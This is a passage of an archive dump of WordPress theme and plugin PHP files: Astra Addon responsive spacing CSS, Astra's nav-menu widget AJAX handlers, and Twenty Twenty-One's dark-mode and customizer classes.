'mobile' ), 'padding-bottom' => astra_responsive_spacing( $above_header_submenu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'mobile' ), ), // Above Header Submenu level 2. '.ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'mobile' ), '+', '10', 'px' ), ), // Above Header Submenu level 3. '.ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'mobile' ), '+', '20', 'px' ), ), // Above Header Submenu level 4. '.ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'mobile' ), '+', '30', 'px' ), ), // Above Header Submenu level 5. '.ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'mobile' ), '+', '40', 'px' ), ), /* Padding right set to zero to all the menu elements that have submenu*/ '.ast-fullscreen-above-menu-enable.ast-header-break-point .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-above-menu-enable.ast-header-break-point .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-above-menu-enable.ast-header-break-point .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-right' => 0, ), /* Align submenu toggle button with menu text for menu */ '.ast-default-above-menu-enable.ast-header-break-point .ast-above-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-default-above-menu-enable.ast-header-break-point .ast-above-header-menu-items .menu-item-has-children > .ast-menu-toggle, .ast-flyout-above-menu-enable.ast-header-break-point .ast-above-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-flyout-above-menu-enable.ast-header-break-point .ast-above-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $above_header_menu_spacing, 'top', 'mobile' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $above_header_menu_spacing, 'right', 'mobile' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for sub menu */ '.ast-default-above-menu-enable .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle, .ast-flyout-above-menu-enable .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $above_header_submenu_spacing, 'top', 'mobile' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'right', 'mobile' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for full screen menu */ '.ast-fullscreen-above-menu-enable.ast-header-break-point .ast-above-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-fullscreen-above-menu-enable.ast-header-break-point .ast-above-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), /* Align submenu toggle button with menu text for full screen sub menu */ '.ast-fullscreen-above-menu-enable .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), /** * Footer Spacing */ // Footer Spacing Top / Bottom Padding. '.ast-footer-overlay' => array( 'padding-top' => astra_responsive_spacing( $footer_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $footer_spacing, 'bottom', 'mobile' ), ), // Footer Spacing Left / Right Padding to inside container. '.ast-small-footer .ast-container' => array( 'padding-left' => astra_responsive_spacing( $footer_spacing, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $footer_spacing, 'right', 'mobile' ), ), // Default margin for .ast-row is -20px, Managing Margin to fix repsonsive design. '.ast-small-footer .ast-row' => array( 'margin-left' => astra_responsive_spacing( $footer_spacing, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $footer_spacing, 'right', 'mobile' ), ), /** * Footer Menu Spacing */ '.ast-small-footer .nav-menu a, .footer-sml-layout-2 .ast-small-footer-section-1 .menu-item a, .footer-sml-layout-2 .ast-small-footer-section-2 .menu-item a' => array( 'padding-top' => astra_responsive_spacing( $footer_menu_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $footer_menu_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $footer_menu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $footer_menu_spacing, 'left', 'mobile' ), ), ); $spacing_css_output .= astra_parse_css( $mobile_spacing, '', astra_addon_get_mobile_breakpoint() ); $remove_bottom_sire_brancing = array( '.ast-header-break-point .header-main-layout-2 .site-branding, .ast-header-break-point .ast-mobile-header-stack .ast-mobile-menu-buttons' => array( 'padding-bottom' => astra_get_css_value( 0, 'px' ), ), ); if ( isset( $header_spacing['mobile']['bottom'] ) && ( '' != $header_spacing['mobile']['bottom'] ) ) { $spacing_css_output .= astra_parse_css( $remove_bottom_sire_brancing, '', astra_addon_get_mobile_breakpoint() ); } } return $dynamic_css . $spacing_css_output; } class-astra-ext-nav-widget-support.php 0000666 00000041550 15165372345 0014071 0 ustar 00 <?php /** * Navigation Widget Support * * @package Astra Addon * @since 1.6.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Ext_Nav_Widget_Support' ) ) { /** * Astra Nav widget support. * * @since 1.6.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Nav_Widget_Support { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Member Variable * * @var object instance */ private static $instance; /** * Constructor */ public function __construct() { add_action( 'wp_ajax_ast_add_widget', array( $this, 'add_widget' ) ); add_action( 'wp_ajax_ast_edit_widget', array( $this, 'edit_widget' ) ); add_action( 'wp_ajax_ast_delete_widget', array( $this, 'delete_widget' ) ); add_action( 'wp_ajax_ast_render_widgets', array( $this, 'render_widgets' ) ); add_action( 'wp_ajax_ast_save_widget', array( $this, 'save_widget' ) ); add_action( 'init', array( $this, 'register_widget_area' ) ); add_action( 'admin_print_footer_scripts-nav-menus.php', array( $this, 'admin_print_footer_scripts' ) ); // @codingStandardsIgnoreStart add_action( 'admin_print_scripts-nav-menus.php', array( $this, 'admin_print_scripts' ) ); add_action( 'admin_print_styles-nav-menus.php', array( $this, 'admin_print_styles' ) ); // @codingStandardsIgnoreEnd add_filter( 'black_studio_tinymce_enable_pages', array( $this, 'megamenu_blackstudio_tinymce' ) ); add_filter( 'conditional_menus_theme_location', array( $this, 'conditional_menus_restore_theme_location' ), 10, 3 ); } /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Function to get widget list * * @since 1.6.0 * @return array; */ public function get_widget_list() { global $wp_widget_factory; $widgets = array(); foreach ( $wp_widget_factory->widgets as $widget ) { $widgets[] = array( 'text' => $widget->name, 'id' => $widget->id_base, ); } return $widgets; } /** * Function to add widget to list. * * @since 1.6.0 * @return void */ public function add_widget() { $menu_item_id = isset( $_POST['menu_item_id'] ) ? sanitize_text_field( $_POST['menu_item_id'] ) : ''; check_ajax_referer( 'wp_widget_nonce', 'security_nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_send_json_error( __( 'Insufficient permissions', 'astra-addon' ) ); } $widget_id = isset( $_POST['widget_id'] ) ? sanitize_text_field( $_POST['widget_id'] ) : ''; $title = isset( $_POST['title'] ) ? sanitize_text_field( $_POST['title'] ) : ''; require_once ABSPATH . 'wp-admin/includes/widgets.php'; // Adding instance of menu item. $next_id = next_widget_id_number( $widget_id ); $current_widgets = get_option( 'widget_' . $widget_id ); $current_widgets[ $next_id ] = array( 'ast_mm_parent_menu_id' => $menu_item_id, ); update_option( 'widget_' . $widget_id, $current_widgets ); $widget_id = $this->add_widget_to_sidebar( $widget_id, $next_id ); $html = $this->render_widget( $widget_id, $title ); wp_send_json_success( $html ); } /** * Registers astra menu widgets area * * @since 1.6.0 * @return void */ public function register_widget_area() { register_sidebar( array( 'id' => 'ast-widgets', 'name' => __( 'Astra Menu Widgets', 'astra-addon' ), 'description' => __( 'Astra Nav Menu widgets.', 'astra-addon' ), ) ); } /** * Adds a widget to Astra sidebar. * * @param int $widget_id widget id. * @param int $next_id next widget id. * @since 1.6.0 * @return int */ private function add_widget_to_sidebar( $widget_id, $next_id ) { $widget_id = $widget_id . '-' . $next_id; $sidebar_widgets = $this->get_ast_sidebar_widgets(); $sidebar_widgets[] = $widget_id; $this->set_sidebar_widgets( $sidebar_widgets ); do_action( 'ast_after_widget_add' ); return $widget_id; } /** * Returns an unfiltered array of all widgets in our sidebar * * @since 1.6.0 * @return array */ public function get_ast_sidebar_widgets() { $sidebar_widgets = wp_get_sidebars_widgets(); if ( ! isset( $sidebar_widgets['ast-widgets'] ) ) { return false; } return $sidebar_widgets['ast-widgets']; } /** * Sets the sidebar widgets * * @param int $widgets widgets list. * @since 1.6.0 */ private function set_sidebar_widgets( $widgets ) { $sidebar_widgets = wp_get_sidebars_widgets(); $sidebar_widgets['ast-widgets'] = $widgets; wp_set_sidebars_widgets( $sidebar_widgets ); } /** * Render widget HTML * * @param int $widget_id widget id. * @param string $title widget title. * @since 1.6.0 * @return string */ private function render_widget( $widget_id, $title ) { $nonce = wp_create_nonce( 'ast-edit-widget-' . $widget_id ); $html = '<div class="widget" title="' . esc_attr( $title ) . '" id="' . $widget_id . '" data-type="widget" data-id="' . $widget_id . '">'; $html .= ' <div class="widget-top">'; $html .= ' <div class="widget-title-action">'; $html .= ' <a class="widget-option widget-action item-edit" title="' . esc_attr__( 'Edit', 'astra-addon' ) . '"><span class="screen-reader-text">Edit</span></a>'; $html .= ' <input type="hidden" class="ast-nonce-field ast-edit-widget-nonce" name="ast-edit-widget-nonce-' . esc_attr( $widget_id ) . '" value="' . esc_attr( $nonce ) . '">'; $html .= ' </div>'; $html .= ' <div class="widget-title">'; $html .= ' <h4>' . esc_html( $title ) . '</h4>'; $html .= ' </div>'; $html .= ' </div>'; $html .= ' <div class="widget-inner widget-inside"></div>'; $html .= '</div>'; return $html; } /** * Function to return widget form to edit. * * @since 1.6.0 * @return void */ public function edit_widget() { if ( ! current_user_can( 'edit_theme_options' ) ) { wp_send_json_error( __( 'Insufficient permissions', 'astra-addon' ) ); } $widget_id = isset( $_POST['widget_id'] ) ? sanitize_text_field( $_POST['widget_id'] ) : ''; check_ajax_referer( 'wp_widget_nonce', 'security_nonce' ); global $wp_registered_widget_controls; $control = $wp_registered_widget_controls[ $widget_id ]; $id_base = $this->get_id_base_for_widget_id( $widget_id ); $nonce = wp_create_nonce( 'ast_save_widget_' . $widget_id ); ob_start(); ?> <form method="post"> <input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr( $widget_id ); ?>" /> <input type='hidden' name='action' value='ast_save_widget' /> <input type='hidden' name='id_base' class="id_base" value='<?php echo esc_attr( $id_base ); ?>' /> <input type='hidden' name='widget_id' value='<?php echo esc_attr( $widget_id ); ?>' /> <input type='hidden' name='_wpnonce' value='<?php echo esc_attr( $nonce ); ?>' /> <input type="hidden" class="ast-nonce-field ast-delete-widget-nonce" name="ast-delete-widget-nonce-<?php echo esc_attr( $widget_id ); ?>" value="<?php echo esc_attr( wp_create_nonce( 'ast-delete-widget-' . $widget_id ) ); ?>"> <div class='widget-content'> <?php if ( is_callable( $control['callback'] ) ) { call_user_func_array( $control['callback'], $control['params'] ); } ?> <div class='widget-controls'> <a class='delete' href='#delete'><?php esc_html_e( 'Delete', 'astra-addon' ); ?></a> | <a class='close' href='#close'><?php esc_html_e( 'Close', 'astra-addon' ); ?></a> </div> <div class="alignright"> <?php submit_button( __( 'Save', 'astra-addon' ), 'button-primary ast-save-widget alignright', 'savewidget', false ); ?> <span class="spinner"></span> </div> </div> </form> <?php $output = ob_get_clean(); wp_send_json_success( $output ); } /** * Returns the id_base value for a Widget ID * * @param int $widget_id widget id. * @return int * @since 1.6.0 */ public function get_id_base_for_widget_id( $widget_id ) { global $wp_registered_widget_controls; if ( ! isset( $wp_registered_widget_controls[ $widget_id ] ) ) { return false; } $control = $wp_registered_widget_controls[ $widget_id ]; $id_base = isset( $control['id_base'] ) ? $control['id_base'] : $control['id']; return $id_base; } /** * Delete widget attached to sidebar. * * @return void * @since 1.6.0 */ public function delete_widget() { $widget_id = isset( $_POST['widget_id'] ) ? sanitize_text_field( $_POST['widget_id'] ) : ''; check_ajax_referer( 'wp_widget_nonce', 'security_nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_send_json_error( __( 'Insufficient permissions', 'astra-addon' ) ); } $this->remove_widget_from_sidebar( $widget_id ); $this->remove_widget_instance( $widget_id ); } /** * Remove widget from sidebar. * * @param int $widget_id widget id. * @return void * @since 1.6.0 */ private function remove_widget_from_sidebar( $widget_id ) { $widgets = $this->get_ast_sidebar_widgets(); $new_ast_widgets = array(); foreach ( $widgets as $widget ) { if ( $widget != $widget_id ) { $new_ast_widgets[] = $widget; } } $this->set_sidebar_widgets( $new_ast_widgets ); } /** * Remove widget instance. * * @param int $widget_id widget id. * @return bool * @since 1.6.0 */ private function remove_widget_instance( $widget_id ) { $id_base = $this->get_id_base_for_widget_id( $widget_id ); $parts = explode( '-', $widget_id ); $widget_number = absint( end( $parts ) ); $current_widgets = get_option( 'widget_' . $id_base ); if ( isset( $current_widgets[ $widget_number ] ) ) { unset( $current_widgets[ $widget_number ] ); update_option( 'widget_' . $id_base, $current_widgets ); return true; } return false; } /** * Render widget. * * @return void * @since 1.6.0 */ public function render_widgets() { $menu_item_id = isset( $_POST['menu_item_id'] ) ? sanitize_text_field( $_POST['menu_item_id'] ) : ''; check_ajax_referer( 'wp_widget_nonce', 'security_nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die(); } $html = ''; $has_widgets = false; $widgets = get_post_meta( $menu_item_id, '_menu_item_megamenu_widgets_list', true ); $widgets = explode( ',', $widgets ); if ( ! empty( $widgets ) ) { $has_widgets = true; foreach ( $widgets as $widget ) { if ( '' !== $widget ) { $title = $this->get_name_for_widget_id( $widget ); $html .= $this->render_widget( $widget, $title ); } } } $data = array( 'html' => $html, 'has_widgets' => $has_widgets, ); wp_send_json_success( $data ); } /** * Get widgets for menu item. * * @param int $menu_item_id menu item ID. * @return array * @since 1.6.0 */ public function get_widgets_by_id( $menu_item_id ) { $widgets = array(); $all_widgets = $this->get_ast_sidebar_widgets(); if ( ! empty( $all_widgets ) ) { foreach ( $all_widgets as $widget_id ) { $settings = $this->get_settings_for_widget_id( $widget_id ); if ( isset( $settings['ast_mm_parent_menu_id'] ) && $settings['ast_mm_parent_menu_id'] == $menu_item_id ) { $name = $this->get_name_for_widget_id( $widget_id ); $widgets[ $widget_id ] = array( 'id' => $widget_id, 'type' => 'widget', 'title' => $name, ); } } } return $widgets; } /** * Get settings for widget. * * @param int $widget_id widget ID. * @return array * @since 1.6.0 */ public function get_settings_for_widget_id( $widget_id ) { $id = $this->get_id_base_for_widget_id( $widget_id ); if ( ! $id ) { return false; } $parts = explode( '-', $widget_id ); $widget_number = absint( end( $parts ) ); $current_widgets = get_option( 'widget_' . $id ); return $current_widgets[ $widget_number ]; } /** * Get name for the widget. * * @param int $widget_id widget ID. * @return string * @since 1.6.0 */ public function get_name_for_widget_id( $widget_id ) { global $wp_registered_widgets; if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) { return false; } $registered_widget = $wp_registered_widgets[ $widget_id ]; return $registered_widget['name']; } /** * Save widget settings. * * @return void * @since 1.6.0 */ public function save_widget() { $widget_id = isset( $_POST['widget-id'] ) ? sanitize_text_field( $_POST['widget-id'] ) : ''; check_ajax_referer( 'ast_save_widget_' . $widget_id ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die(); } $id_base = isset( $_POST['id_base'] ) ? sanitize_text_field( $_POST['id_base'] ) : ''; global $wp_registered_widget_updates; $control = $wp_registered_widget_updates[ $id_base ]; if ( is_callable( $control['callback'] ) ) { call_user_func_array( $control['callback'], $control['params'] ); do_action( 'ast_after_widget_save' ); wp_send_json_success(); } wp_send_json_error(); } /** * Display widget on front end. * * @param int $id widget id. * @return string * @since 1.6.0 */ public function display_widget( $id ) { global $wp_registered_widgets; if ( ! isset( $wp_registered_widgets[ $id ] ) ) { return ''; } $params = array_merge( array( array_merge( array( 'widget_id' => $id, 'widget_name' => $wp_registered_widgets[ $id ]['name'], ) ), ), (array) $wp_registered_widgets[ $id ]['params'] ); $params[0]['id'] = 'ast-widgets'; $params[0]['before_title'] = apply_filters( 'ast_before_widget_title', '<h4 class="mega-block-title">', $wp_registered_widgets[ $id ] ); $params[0]['after_title'] = apply_filters( 'ast_after_widget_title', '</h4>', $wp_registered_widgets[ $id ] ); $params[0]['before_widget'] = apply_filters( 'ast_before_widget', '<div class="ast-mm-widget-item">', $wp_registered_widgets[ $id ] ); $params[0]['after_widget'] = apply_filters( 'ast_after_widget', '</div>', $wp_registered_widgets[ $id ] ); $callback = $wp_registered_widgets[ $id ]['callback']; if ( is_callable( $callback ) ) { ob_start(); call_user_func_array( $callback, $params ); return ob_get_clean(); } } /** * Print the widgets.php scripts on the nav-menus.php page. Required for 4.8 Core Media Widgets. * * @param string $hook action hook. * @since 1.6.0 */ public function admin_print_scripts( $hook ) { // @codingStandardsIgnoreStart do_action( 'admin_print_scripts-widgets.php' ); // @codingStandardsIgnoreEnd } /** * Print the widgets.php scripts on the nav-menus.php page. Required for 4.8 Core Media Widgets. * * @param string $hook action hook. * @since 1.6.0 */ public function admin_print_styles( $hook ) { // @codingStandardsIgnoreStart do_action( 'admin_print_styles-widgets.php' ); // @codingStandardsIgnoreEnd } /** * Add compatibility for conditional menus plugin * * @param string $location theme action. * @param array $new_args new arguments. * @param array $old_args old arguments. * @since 1.6.0 */ public function conditional_menus_restore_theme_location( $location, $new_args, $old_args ) { return $old_args['theme_location']; } /** * Black Studio TinyMCE Compatibility. * Load TinyMCE assets on nav-menus.php page. * * @since 1.6.0 * @param array $pages pages list array. * @return array $pages */ public function megamenu_blackstudio_tinymce( $pages ) { $pages[] = 'nav-menus.php'; return $pages; } /** * Print the widgets.php scripts on the nav-menus.php page. Required for 4.8 Core Media Widgets. * * @param string $hook action hook. * @since 1.6.0 */ public function admin_print_footer_scripts( $hook ) { // @codingStandardsIgnoreStart do_action( 'admin_footer-widgets.php' ); // @codingStandardsIgnoreEnd } } Astra_Ext_Nav_Widget_Support::get_instance(); } class-twenty-twenty-one-dark-mode.php 0000666 00000027621 15165375754 0013720 0 ustar 00 <?php /** * Dark Mode Class * * @package WordPress * @subpackage Twenty_Twenty_One * @since Twenty Twenty-One 1.0 */ /** * This class is in charge of Dark Mode. */ class Twenty_Twenty_One_Dark_Mode { /** * Instantiate the object. * * @since Twenty Twenty-One 1.0 */ public function __construct() { // Enqueue assets for the block-editor. add_action( 'enqueue_block_editor_assets', array( $this, 'editor_custom_color_variables' ) ); // Add styles for dark-mode. add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); // Add scripts for customizer controls. add_action( 'customize_controls_enqueue_scripts', array( $this, 'customize_controls_enqueue_scripts' ) ); // Add customizer controls. add_action( 'customize_register', array( $this, 'customizer_controls' ) ); // Add HTML classes. add_filter( 'twentytwentyone_html_classes', array( $this, 'html_classes' ) ); // Add classes to <body> in the dashboard. add_filter( 'admin_body_class', array( $this, 'admin_body_classes' ) ); // Add the switch on the frontend & customizer. add_action( 'wp_footer', array( $this, 'the_switch' ) ); // Add the privacy policy content. add_action( 'admin_init', array( $this, 'add_privacy_policy_content' ) ); } /** * Editor custom color variables & scripts. * * @since Twenty Twenty-One 1.0 * * @return void */ public function editor_custom_color_variables() { if ( ! $this->switch_should_render() ) { return; } $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); $should_respect_color_scheme = get_theme_mod( 'respect_user_color_preference', false ); if ( $should_respect_color_scheme && Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) > 127 ) { // Add Dark Mode variable overrides. wp_add_inline_style( 'twenty-twenty-one-custom-color-overrides', '.is-dark-theme.is-dark-theme .editor-styles-wrapper { --global--color-background: var(--global--color-dark-gray); --global--color-primary: var(--global--color-light-gray); --global--color-secondary: var(--global--color-light-gray); --button--color-text: var(--global--color-background); --button--color-text-hover: var(--global--color-secondary); --button--color-text-active: var(--global--color-secondary); --button--color-background: var(--global--color-secondary); --button--color-background-active: var(--global--color-background); --global--color-border: #9ea1a7; --table--stripes-border-color: rgba(240, 240, 240, 0.15); --table--stripes-background-color: rgba(240, 240, 240, 0.15); }' ); } wp_enqueue_script( 'twentytwentyone-dark-mode-support-toggle', get_template_directory_uri() . '/assets/js/dark-mode-toggler.js', array(), '1.0.0', true ); wp_enqueue_script( 'twentytwentyone-editor-dark-mode-support', get_template_directory_uri() . '/assets/js/editor-dark-mode-support.js', array( 'twentytwentyone-dark-mode-support-toggle' ), '1.0.0', true ); } /** * Enqueue scripts and styles. * * @since Twenty Twenty-One 1.0 * * @return void */ public function enqueue_scripts() { if ( ! $this->switch_should_render() ) { return; } $url = get_template_directory_uri() . '/assets/css/style-dark-mode.css'; if ( is_rtl() ) { $url = get_template_directory_uri() . '/assets/css/style-dark-mode-rtl.css'; } wp_enqueue_style( 'tt1-dark-mode', $url, array( 'twenty-twenty-one-style' ), wp_get_theme()->get( 'Version' ) ); // @phpstan-ignore-line. Version is always a string. } /** * Enqueue scripts for the customizer. * * @since Twenty Twenty-One 1.0 * * @return void */ public function customize_controls_enqueue_scripts() { if ( ! $this->switch_should_render() ) { return; } wp_enqueue_script( 'twentytwentyone-customize-controls', get_template_directory_uri() . '/assets/js/customize.js', array( 'customize-base', 'customize-controls', 'underscore', 'jquery', 'twentytwentyone-customize-helpers' ), '1.0.0', true ); } /** * Register customizer options. * * @since Twenty Twenty-One 1.0 * * @param WP_Customize_Manager $wp_customize Theme Customizer object. * @return void */ public function customizer_controls( $wp_customize ) { $colors_section = $wp_customize->get_section( 'colors' ); if ( is_object( $colors_section ) ) { $colors_section->title = __( 'Colors & Dark Mode', 'twentytwentyone' ); } // Custom notice control. include_once get_theme_file_path( 'classes/class-twenty-twenty-one-customize-notice-control.php' ); // phpcs:ignore WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound $wp_customize->add_setting( 'respect_user_color_preference_notice', array( 'capability' => 'edit_theme_options', 'default' => '', 'sanitize_callback' => '__return_empty_string', ) ); $wp_customize->add_control( new Twenty_Twenty_One_Customize_Notice_Control( $wp_customize, 'respect_user_color_preference_notice', array( 'section' => 'colors', 'priority' => 100, 'active_callback' => static function() { return 127 >= Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( get_theme_mod( 'background_color', 'D1E4DD' ) ); }, ) ) ); $wp_customize->add_setting( 'respect_user_color_preference', array( 'capability' => 'edit_theme_options', 'default' => false, 'sanitize_callback' => static function( $value ) { return (bool) $value; }, ) ); $description = '<p>'; $description .= sprintf( /* translators: %s: Twenty Twenty-One support article URL. */ __( 'Dark Mode is a device setting. If a visitor to your site requests it, your site will be shown with a dark background and light text. <a href="%s">Learn more about Dark Mode.</a>', 'twentytwentyone' ), esc_url( __( 'https://wordpress.org/support/article/twenty-twenty-one/#dark-mode-support', 'twentytwentyone' ) ) ); $description .= '</p>'; $description .= '<p>' . __( 'Dark Mode can also be turned on and off with a button that you can find in the bottom corner of the page.', 'twentytwentyone' ) . '</p>'; $wp_customize->add_control( 'respect_user_color_preference', array( 'type' => 'checkbox', 'section' => 'colors', 'label' => esc_html__( 'Dark Mode support', 'twentytwentyone' ), 'priority' => 110, 'description' => $description, 'active_callback' => static function( $value ) { return 127 < Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( get_theme_mod( 'background_color', 'D1E4DD' ) ); }, ) ); // Add partial for background_color. $wp_customize->selective_refresh->add_partial( 'background_color', array( 'selector' => '#dark-mode-toggler', 'container_inclusive' => true, 'render_callback' => function() { $attrs = ( $this->switch_should_render() ) ? array() : array( 'style' => 'display:none;' ); $this->the_html( $attrs ); }, ) ); } /** * Calculate classes for the main <html> element. * * @since Twenty Twenty-One 1.0 * * @param string $classes The classes for <html> element. * @return string */ public function html_classes( $classes ) { if ( ! $this->switch_should_render() ) { return $classes; } $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); $should_respect_color_scheme = get_theme_mod( 'respect_user_color_preference', false ); if ( $should_respect_color_scheme && 127 <= Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) ) { return ( $classes ) ? ' respect-color-scheme-preference' : 'respect-color-scheme-preference'; } return $classes; } /** * Adds a class to the <body> element in the editor to accommodate dark-mode. * * @since Twenty Twenty-One 1.0 * * @param string $classes The admin body-classes. * @return string */ public function admin_body_classes( $classes ) { if ( ! $this->switch_should_render() ) { return $classes; } global $current_screen; if ( empty( $current_screen ) ) { set_current_screen(); } if ( $current_screen->is_block_editor() ) { $should_respect_color_scheme = get_theme_mod( 'respect_user_color_preference', false ); $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); if ( $should_respect_color_scheme && Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) > 127 ) { $classes .= ' twentytwentyone-supports-dark-theme'; } } return $classes; } /** * Determine if we want to print the dark-mode switch or not. * * @since Twenty Twenty-One 1.0 * * @return bool */ public function switch_should_render() { global $is_IE; return ( get_theme_mod( 'respect_user_color_preference', false ) && ! $is_IE && 127 <= Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( get_theme_mod( 'background_color', 'D1E4DD' ) ) ); } /** * Add night/day switch. * * @since Twenty Twenty-One 1.0 * * @return void */ public function the_switch() { if ( ! $this->switch_should_render() ) { return; } $this->the_html(); $this->the_script(); } /** * Print the dark-mode switch HTML. * * Inspired from https://codepen.io/aaroniker/pen/KGpXZo (MIT-licensed) * * @since Twenty Twenty-One 1.0 * * @param array $attrs The attributes to add to our <button> element. * @return void */ public function the_html( $attrs = array() ) { $attrs = wp_parse_args( $attrs, array( 'id' => 'dark-mode-toggler', 'class' => 'fixed-bottom', 'aria-pressed' => 'false', 'onClick' => 'toggleDarkMode()', ) ); echo '<button'; foreach ( $attrs as $key => $val ) { echo ' ' . esc_attr( $key ) . '="' . esc_attr( $val ) . '"'; } echo '>'; printf( /* translators: %s: On/Off */ esc_html__( 'Dark Mode: %s', 'twentytwentyone' ), '<span aria-hidden="true"></span>' ); echo '</button>'; ?> <style> #dark-mode-toggler > span { margin-<?php echo is_rtl() ? 'right' : 'left'; ?>: 5px; } #dark-mode-toggler > span::before { content: '<?php esc_attr_e( 'Off', 'twentytwentyone' ); ?>'; } #dark-mode-toggler[aria-pressed="true"] > span::before { content: '<?php esc_attr_e( 'On', 'twentytwentyone' ); ?>'; } <?php if ( is_admin() || wp_is_json_request() ) : ?> .components-editor-notices__pinned ~ .edit-post-visual-editor #dark-mode-toggler { z-index: 20; } .is-dark-theme.is-dark-theme #dark-mode-toggler:not(:hover):not(:focus) { color: var(--global--color-primary); } @media only screen and (max-width: 782px) { #dark-mode-toggler { margin-top: 32px; } } <?php endif; ?> </style> <?php } /** * Print the dark-mode switch script. * * @since Twenty Twenty-One 1.0 * * @return void */ public function the_script() { echo '<script>'; include get_template_directory() . '/assets/js/dark-mode-toggler.js'; // phpcs:ignore WPThemeReview.CoreFunctionality.FileInclude echo '</script>'; } /** * Adds information to the privacy policy. * * @since Twenty Twenty-One 1.0 * * @return void */ public function add_privacy_policy_content() { if ( ! function_exists( 'wp_add_privacy_policy_content' ) ) { return; } $content = '<p class="privacy-policy-tutorial">' . __( 'Twenty Twenty-One uses LocalStorage when Dark Mode support is enabled.', 'twentytwentyone' ) . '</p>' . '<strong class="privacy-policy-tutorial">' . __( 'Suggested text:', 'twentytwentyone' ) . '</strong> ' . __( 'This website uses LocalStorage to save the setting when Dark Mode support is turned on or off.<br> LocalStorage is necessary for the setting to work and is only used when a user clicks on the Dark Mode button.<br> No data is saved in the database or transferred.', 'twentytwentyone' ); wp_add_privacy_policy_content( 'Twenty Twenty-One', wp_kses_post( wpautop( $content, false ) ) ); } } class-twenty-twenty-one-customize.php 0000666 00000011521 15165375754 0014067 0 ustar 00 <?php /** * Customizer settings for this theme. * * @package WordPress * @subpackage Twenty_Twenty_One * @since Twenty Twenty-One 1.0 */ if ( ! class_exists( 'Twenty_Twenty_One_Customize' ) ) { /** * Customizer Settings. * * @since Twenty Twenty-One 1.0 */ class Twenty_Twenty_One_Customize { /** * Constructor. Instantiate the object. * * @since Twenty Twenty-One 1.0 */ public function __construct() { add_action( 'customize_register', array( $this, 'register' ) ); } /** * Register customizer options. * * @since Twenty Twenty-One 1.0 * * @param WP_Customize_Manager $wp_customize Theme Customizer object. * @return void */ public function register( $wp_customize ) { // Change site-title & description to postMessage. $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; // @phpstan-ignore-line. Assume that this setting exists. $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; // @phpstan-ignore-line. Assume that this setting exists. // Add partial for blogname. $wp_customize->selective_refresh->add_partial( 'blogname', array( 'selector' => '.site-title', 'render_callback' => array( $this, 'partial_blogname' 